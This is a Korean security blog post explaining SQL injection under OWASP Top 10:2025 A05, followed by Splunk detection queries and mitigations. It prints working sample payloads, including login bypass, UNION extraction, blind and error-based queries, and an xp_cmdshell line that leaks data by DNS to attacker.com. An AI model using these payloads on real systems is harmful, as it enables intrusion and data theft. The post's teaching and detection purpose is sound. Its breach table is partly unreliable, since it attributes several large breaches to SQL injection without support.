취약점 분석/OWASP Top 10

[OWASP Top 10:2025 - A05] CWE-89: SQL 인젝션 완전 정리 - 원리부터 실무 탐지까지

y0.0ns 2026. 7. 14. 00:51

들어가며

SQL 인젝션은 OWASP Top 10에서 2013년부터 꾸준히 상위권을 차지하고 있는 웹 취약점이다. 2021년까지 3위(A03)였다가 2025년에 5위(A05)로 내려갔지만, 순위가 낮아진 게 덜 위험해진 게 아니라 다른 위협들이 더 많이 발견됐기 때문이다. "가장 오래됐고 가장 잘 알려진 취약점"이지만 여전히 실제 공격에서 가장 많이 발견된다. 그만큼 개발자 교육도 많이 됐는데 왜 아직도 이렇게 자주 터지는지, 원리부터 실무 탐지까지 정리해봤다.


1. SQL 인젝션이란?

사용자 입력값이 SQL 쿼리의 일부로 그대로 삽입되어, 공격자가 개발자가 의도하지 않은 쿼리를 실행시킬 수 있는 취약점이다.


2. 취약점 개요

항목 내용
CWE 번호 CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
OWASP A05:2025 - Injection
위험도 Critical (데이터 유출, 인증 우회, DB 전체 장악 가능)
영향 범위 DB를 사용하는 모든 웹 애플리케이션
근본 원인 사용자 입력값을 검증 없이 SQL 쿼리에 직접 삽입

OWASP Top 10이란? Open Web Application Security Project(OWASP) 재단이 주기적으로 발표하는 웹 애플리케이션 보안 위협 상위 10개 목록. 실제 침해 사례, 취약점 데이터를 기반으로 선정되며 보안 업계에서 사실상의 표준 기준으로 활용된다. 현재 최신 버전은 2025년 말 발표된 OWASP Top 10:2025이며, Injection은 2021년 A03에서 2025년 A05로 내려갔다. A05:2025 Injection 카테고리 안에 SQL 인젝션, Command 인젝션, LDAP 인젝션 등이 포함된다.

OWASP Top 10:2025 전체 목록:

  • A01: Broken Access Control (SSRF 통합)
  • A02: Security Misconfiguration 
  • A03: Software Supply Chain Failures
  • A04: Cryptographic Failures 
  • A05: Injection ← 이번 글  (3위→5위)
  • A06: Insecure Design
  • A07: Authentication Failures
  • A08: Software or Data Integrity Failures
  • A09: Security Logging and Alerting Failures
  • A10: Mishandling of Exceptional Conditions 

3. 원리

정상적인 로그인 쿼리

sql
SELECT * FROM users
WHERE username = '입력값' AND password = '입력값';

 

사용자가 admin / 1234 를 입력하면:

 

sql

SELECT * FROM users
WHERE username = 'admin' AND password = '1234';

정상적으로 DB에서 해당 사용자를 조회한다.


SQL 인젝션 공격 시

공격자가 username에 admin' -- 를 입력하면:

 

sql

SELECT * FROM users
WHERE username = 'admin' --' AND password = '1234';
 
-- 은 SQL 주석 처리 기호
→ 그 뒤의 AND password = '1234' 부분이 전부 무시됨
→ 비밀번호 없이 admin 계정으로 로그인 성공

왜 이런 일이 발생하냐면

취약한 코드 (PHP 예시):
$query = "SELECT * FROM users
          WHERE username = '" . $_POST['username'] . "'
          AND password = '" . $_POST['password'] . "'";

→ 사용자 입력값을 그냥 문자열로 붙여버림
→ 입력값 안에 SQL 특수문자(', --, ;)가 있으면
  쿼리 구조 자체가 바뀌어버림

안전한 코드 (Prepared Statement):
$stmt = $pdo->prepare("SELECT * FROM users
                        WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

→ 입력값을 쿼리와 분리해서 처리
→ 어떤 값을 넣어도 그냥 "데이터"로만 취급
→ SQL 구조를 바꿀 수 없음

4. 공격 유형

4-1. 인증 우회 (Authentication Bypass)

sql
-- username 입력값
admin' --
admin' OR '1'='1' --
' OR 1=1 --

로그인 없이 관리자 계정으로 접근 가능.


4-2. UNION 기반 공격 (데이터 추출)

sql
-- 검색창 입력값
' UNION SELECT username, password FROM users --
 
원래 쿼리: SELECT name, price FROM products WHERE id = '입력값'
변조 후:   SELECT name, price FROM products WHERE id = ''
           UNION SELECT username, password FROM users --'

→ 상품 목록 대신 users 테이블의 계정 정보가 출력됨

4-3. Blind SQL 인젝션 (응답 없을 때)

에러 메시지나 데이터가 화면에 안 나오는 경우에도 공격이 가능하다.

Boolean 기반:

sql
' AND 1=1 --   → 정상 응답 (조건이 참)
' AND 1=2 --   → 빈 응답 (조건이 거짓)
→ 응답 차이로 DB 정보를 한 글자씩 추출

 

Time 기반:

sql
'; IF (1=1) WAITFOR DELAY '0:0:5' --
→ 5초 지연이 발생하면 조건이 참
→ 지연 여부로 DB 정보 추출

4-4. Error 기반 공격

sql
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
→ 에러 메시지 안에 DB 버전 정보가 출력됨

상세 설명:

XML이란? 데이터를 구조화해서 저장하는 형식. 태그로 데이터를 감싸는 방식이다.

 
xml
<user>
    <name>admin</name>
    <age>30</age>
</user>

HTML과 비슷해 보이지만 HTML은 화면에 어떻게 보여줄지(표시용), XML은 데이터를 어떻게 저장할지(저장/전달용)이다.

XPath란? XML 안에서 원하는 데이터 위치를 찾는 경로 표현식. 파일 경로랑 비슷한 개념이다.

/user/name  → user 태그 안의 name 태그를 가리킴

EXTRACTVALUE(xml데이터, xpath경로) 형식으로 XML에서 값을 꺼내는 함수인데, XPath가 유효하지 않으면 에러 메시지에 해당 값을 포함해서 출력한다.

 

각 부분 분해:

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
----------------------------------------------------------------------
쿼리 설명

'(작은따옴표)
→ 쿼리 구조를 깨는 작은따옴표

EXTRACTVALUE(1, ...)
→ 첫 번째 인자 1 = XML 자리 (의미없음, 자리채우기용)
→ 두 번째 인자 = XPath 경로 자리

CONCAT(0x7e, (SELECT version()))
→ CONCAT = 문자열을 합치는 함수
→ 0x7e = 물결표(~)의 16진수 코드
→ SELECT version() = DB 버전 반환 (예: 8.0.32)
→ 합치면: "~8.0.32"

EXTRACTVALUE(1, "~8.0.32")
→ ~로 시작하면 유효한 XPath 형식이 아님
→ MySQL이 에러 발생
→ 에러 메시지: XPATH syntax error: '~8.0.32'
→ DB 버전 정보가 에러 메시지 안에 그대로 노출됨

--
→ 이후 SQL 코드 주석 처리

 

version() 말고 다른 정보도 추출 가능:

sql
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()))) --
→ 현재 DB 이름 노출

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user()))) --
→ DB 계정명 노출

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1))) --
→ 테이블 이름 노출

4-5. Out-of-Band 공격

일반적인 SQL 인젝션은 응답에 데이터가 담겨 오지만, Out-of-Band는 응답에 아무것도 없고 DB가 공격자 서버로 직접 데이터를 보낸다. 응답이 완전히 막혀있어도 사용 가능한 공격 방식이다.

sql
'; EXEC xp_cmdshell('nslookup 공격자도메인') --
→ DB 서버가 공격자 도메인으로 DNS 요청을 보냄
→ DNS 요청에 데이터를 실어서 외부로 유출

EXEC란? EXECUTE의 줄임말. SQL Server에서 명령어나 프로시저를 실행하는 명령어다.

xp_cmdshell이란? MS SQL Server에 내장된 확장 프로시저. DB 안에서 윈도우 OS 명령어(CMD)를 직접 실행할 수 있게 해주는 기능이다.

sql
EXEC xp_cmdshell('whoami')    → DB 서버 계정명 출력
EXEC xp_cmdshell('dir C:')  → C드라이브 파일 목록 출력

DB가 뚫리면 xp_cmdshell로 OS까지 직접 조작 가능하기 때문에 매우 위험하다.

nslookup이란? Name Server Lookup의 줄임말. 도메인 이름을 IP 주소로 변환하는 명령어다.

nslookup google.com → google.com의 IP 주소를 DNS 서버에 물어봄

공격자가 자신의 DNS 서버를 운영하면, DB 서버가 nslookup을 실행하는 순간 공격자 DNS 서버에 조회 요청이 들어온다. 이 요청에 DB 정보를 실어 보낼 수 있다.

데이터를 DNS에 실어서 보내는 방식:

 
sql
'; EXEC xp_cmdshell('nslookup ' + (SELECT version()) + '.attacker.com') --

→ SELECT version() = "8.0.32"
→ nslookup 8.0.32.attacker.com 실행
→ 공격자 DNS 서버 로그:
  "8.0.32.attacker.com 을 192.168.1.10이 조회했다"
→ DB 버전(8.0.32)과 DB 서버 IP(192.168.1.10) 획득
→ 웹사이트 응답을 보지 않고도 정보 유출 성공

 

탐지가 어려운 이유:

웹 서버 응답 → 정상 페이지 (아무것도 없음)
데이터 유출  → DNS 또는 HTTP로 외부 서버에 직접 전송
→ 방화벽이 내부 DNS 쿼리를 막지 않으면 탐지 어려움

5. 실제 피해 사례

연도 사건 피해
2011 Sony Pictures 해킹 1억 명 개인정보 유출
2014 eBay 해킹 1억 4500만 계정 유출
2016 야후 해킹 5억 계정 유출
2021 국내 쇼핑몰 다수 카드정보, 개인정보 유출
2024 Ticketmaster 해킹 5억 6000만 명 개인정보 유출

"오래된 취약점인데 왜 아직도?" 라는 질문의 답이 여기 있다. 레거시 시스템, 외주 개발, 빠른 출시 압박으로 기본적인 입력값 검증이 빠지는 경우가 여전히 많다.


6. 어디서 흔적이 남는가 (로그 소스 매핑)

로그 소스 탐지 가능한 흔적
웹 서버 로그 (Apache, Nginx) SQL 특수문자 포함 URL/파라미터, 비정상 응답코드
WAF 로그 SQL 인젝션 패턴 매칭, 차단 이벤트
DB 로그 (Slow Query, Error Log) 비정상 쿼리, 에러 발생, 대용량 데이터 조회
IDS/IPS 로그 SQL 인젝션 시그니처 탐지
애플리케이션 로그 DB 연결 에러, 쿼리 실패 로그

⚠️ 탐지의 핵심 어려움 Blind SQL 인젝션이나 Time 기반 공격은 응답이 정상처럼 보여서 웹 서버 로그만으로는 탐지가 어렵다. WAF가 없거나 DB 로그가 수집되지 않는 환경에서는 탐지 자체가 불가능한 경우도 있다.


7. SPL 탐지 쿼리

기본형: SQL 인젝션 의심 패턴 탐지

spl
index=web_logs OR index=waf_logs
| rex field=uri_query "(?<sqli_pattern>('|\"|;|--|\/\*|\*\/|xp_|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|CAST|CONVERT|WAITFOR|SLEEP|BENCHMARK))"
| where isnotnull(sqli_pattern)
| eval severity=case(
    match(sqli_pattern, "(DROP|xp_cmdshell|WAITFOR|SLEEP|BENCHMARK)"), "HIGH",
    match(sqli_pattern, "(UNION|SELECT|INSERT|UPDATE|DELETE|EXEC)"), "MEDIUM",
    true(), "LOW")
| stats count as attempt_count by src_ip, uri_path, sqli_pattern, severity
| sort -attempt_count
| table src_ip, uri_path, sqli_pattern, severity, attempt_count

 

쿼리 라인별 설명:

index=web_logs OR index=waf_logs

웹 서버 로그 또는 WAF 로그에서 검색
HTTP 요청이 기록되는 소스

 

| rex field=uri_query "(?<sqli_pattern>(...))"

rex = 정규식으로 값을 추출하는 명령어

field=uri_query
→ URL 쿼리 파라미터 필드에서 검색
→ ?id=1&name=admin 같은 부분
→ uri_query는 원래 있는 필드가 아님
  환경마다 다르므로 fieldsummary로 먼저 확인 필요
  (index=web_logs | fieldsummary)

(?<sqli_pattern>...)
→ 정규식의 "명명된 캡처 그룹" 문법
→ 패턴과 일치하는 값을 sqli_pattern 필드에 저장
→ sqli_pattern도 직접 만든 필드 (원래 없는 필드)

 

정규식 패턴 각각의 의미:

'        : 작은따옴표 (SQL 쿼리 구조 깨기)
"       : 큰따옴표 (\ = 이스케이프, "가 정규식 특수문자라)
;        : 쿼리 구분자 (다중 쿼리 실행)
--       : SQL 줄 주석 (뒷부분 무시)
\/\*     : /* 블록 주석 시작 (/ * 가 정규식 특수문자라 \ 필요)
\*\/     : */ 블록 주석 끝
xp_      : xp_cmdshell 등 MS SQL 확장 프로시저 앞에 붙는 접두사
UNION    : UNION 기반 데이터 추출
SELECT   : 데이터 조회
INSERT   : 데이터 삽입
UPDATE   : 데이터 수정
DELETE   : 데이터 삭제
DROP     : 테이블 삭제 (파괴적)
EXEC     : 명령어 실행
CAST     : 데이터 형변환 (WAF 우회 기법에 사용)
CONVERT  : 데이터 변환 (WAF 우회 기법에 사용)
WAITFOR  : MS SQL 시간 지연
SLEEP    : MySQL 시간 지연
BENCHMARK: MySQL 시간 지연 (다른 방식)

 

| where isnotnull(sqli_pattern)

sqli_pattern 필드에 값이 있는 것만 남김
= 위 패턴 중 하나라도 발견된 요청만 필터링

 

| eval severity=case(...)

case = 조건에 따라 다른 값을 반환 (if-else와 같음)

DROP, xp_cmdshell, WAITFOR, SLEEP, BENCHMARK → HIGH
→ DB 삭제, OS 명령 실행, 시간 지연 = 파괴적/탐지회피

UNION, SELECT, INSERT, UPDATE, DELETE, EXEC → MEDIUM
→ 데이터 조회/변조 시도

나머지 → LOW
→ 따옴표, 주석 같은 기본 패턴만 발견된 경우

 

| stats count as attempt_count by ...

attempt_count = stats count 결과를 저장한 직접 만든 필드
(as attempt_count 로 이름을 붙인 것)

동일한 IP + 경로 + 패턴 + 심각도 조합으로 집계
→ 같은 IP에서 반복 시도하면 attempt_count가 높아짐
→ 자동화 공격 여부 판단에 활용

개선형: 대량 데이터 응답 + SQL 패턴 연계 탐지 (UNION 기반 공격)

spl
index=web_logs
| rex field=uri_query "(?<sqli_keyword>(UNION|SELECT|FROM|WHERE))"
| where isnotnull(sqli_keyword)
| eval large_response=if(response_bytes > 10000, 1, 0)
| where large_response=1
| stats count as attack_count,
        avg(response_bytes) as avg_response_size
        by src_ip, uri_path, sqli_keyword
| where attack_count >= 3
| sort -avg_response_size
| table src_ip, uri_path, sqli_keyword, attack_count, avg_response_size

 

쿼리 라인별 설명:

| eval large_response=if(response_bytes > 10000, 1, 0)

response_bytes = 서버가 응답한 데이터 크기 (바이트)

UNION 기반 공격이 성공하면:
→ 원래 응답 + 추출한 DB 데이터까지 같이 반환
→ 응답 크기가 비정상적으로 커짐

10000바이트(10KB) 초과 → large_response = 1 (비정상)
이하 → 0

 

| avg(response_bytes) as avg_response_size

평균 응답 크기를 계산
→ 우연히 한 번 큰 것보다
  평균적으로 계속 크면 공격 성공 가능성 높음
avg_response_size도 직접 만든 필드

 

| where attack_count >= 3

3번 이상 발생한 경우만 남김
→ 1~2번은 우연일 수 있음
→ 3번 이상이면 반복 시도로 볼 수 있음

Time 기반 Blind SQL 인젝션 탐지

 
spl
index=web_logs
| eval response_time_sec=round(response_time/1000, 2)
| where response_time_sec >= 5
| rex field=uri_query "(?<time_sqli>(WAITFOR|SLEEP|BENCHMARK|pg_sleep))"
| where isnotnull(time_sqli)
| stats count as slow_count,
        avg(response_time_sec) as avg_delay
        by src_ip, uri_path, time_sqli
| sort -avg_delay
| table src_ip, uri_path, time_sqli, slow_count, avg_delay

 

쿼리 라인별 설명:

| eval response_time_sec=round(response_time/1000, 2)

response_time = 보통 밀리초(ms) 단위로 기록됨

/1000     → 초 단위로 변환
round(..., 2) → 소수점 둘째 자리까지 반올림

예시:
response_time = 5023ms
→ 5023 / 1000 = 5.023 → round → 5.02초

 

| where response_time_sec >= 5

5초 이상 걸린 요청만 필터링
SLEEP(5), WAITFOR DELAY '0:0:5' 같은 공격은
의도적으로 5초 지연을 발생시킴

 

| avg(response_time_sec) as avg_delay

평균 지연 시간 계산
일관된 5초 지연 = 공격 패턴
들쑥날쑥한 지연 = 서버 부하 등 다른 원인 가능성

avg_delay가 정확히 5초, 10초처럼
딱 떨어지면 더 의심스러움
avg_delay도 직접 만든 필드

⚠️ 인덱스명 안내: web_logs, waf_logs는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것.


8. 오탐지 줄이는 팁

  • 검색 기능: 일반 사용자가 검색창에 it's, O'Brien 같이 따옴표가 포함된 단어를 입력할 수 있다. 단순 따옴표 하나만으로 탐지하면 오탐이 많으니 여러 패턴이 조합된 경우만 의심
  • 개발/테스트 환경: 개발자가 테스트로 SQL 쿼리를 직접 입력하는 경우가 있다. 개발 서버 IP나 내부 IP 대역은 예외 처리
  • 응답 시간 기준: 서버 부하나 네트워크 지연으로도 5초 이상 응답이 발생할 수 있다. 동일 IP에서 일관된 지연이 반복되는 경우만 의심
  • WAF 차단 로그: WAF가 이미 차단한 요청은 중복으로 집계될 수 있다. action="block" 인 것은 별도로 처리

9. 대응 방법

방법 설명 효과
Prepared Statement 입력값과 쿼리를 분리해서 처리 근본적 해결책
입력값 검증 허용 문자만 화이트리스트로 관리 보조 수단
ORM 사용 SQL을 직접 작성하지 않고 ORM 라이브러리 활용 근본적 해결책
에러 메시지 숨기기 DB 에러를 사용자에게 노출하지 않음 Error 기반 공격 차단
최소 권한 원칙 DB 계정에 필요한 권한만 부여 피해 범위 최소화
WAF 적용 알려진 SQL 인젝션 패턴 차단 시그니처 기반 방어

근본적인 해결책은 Prepared Statement 하나다. WAF, 입력값 필터링은 보조 수단이지 완전한 방어가 아니다. 공격자는 인코딩, 대소문자 혼용, 주석 삽입 등 다양한 우회 기법으로 필터를 피해간다. 코드 레벨에서 Prepared Statement를 사용하는 것이 유일한 근본 해결책이다.


10. 마무리

SQL 인젝션이 2013년부터 10년 넘게 OWASP Top 10에 올라있다는 건, 그만큼 여전히 실제 환경에서 많이 발견된다는 뜻이다. 원리 자체는 단순하지만 Blind, Time 기반, Out-of-Band 공격처럼 탐지가 어려운 변형이 많고, 성공하면 DB 전체가 털리는 치명적인 결과로 이어진다.

SOC 입장에서는 WAF 로그와 DB Slow Query 로그를 SIEM으로 수집하는 것이 탐지의 전제조건이다. 특히 Time 기반 공격은 WAF가 없으면 탐지 자체가 어렵기 때문에 네트워크 레벨 응답 시간 모니터링이 중요하다.

 

더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.


참고 자료: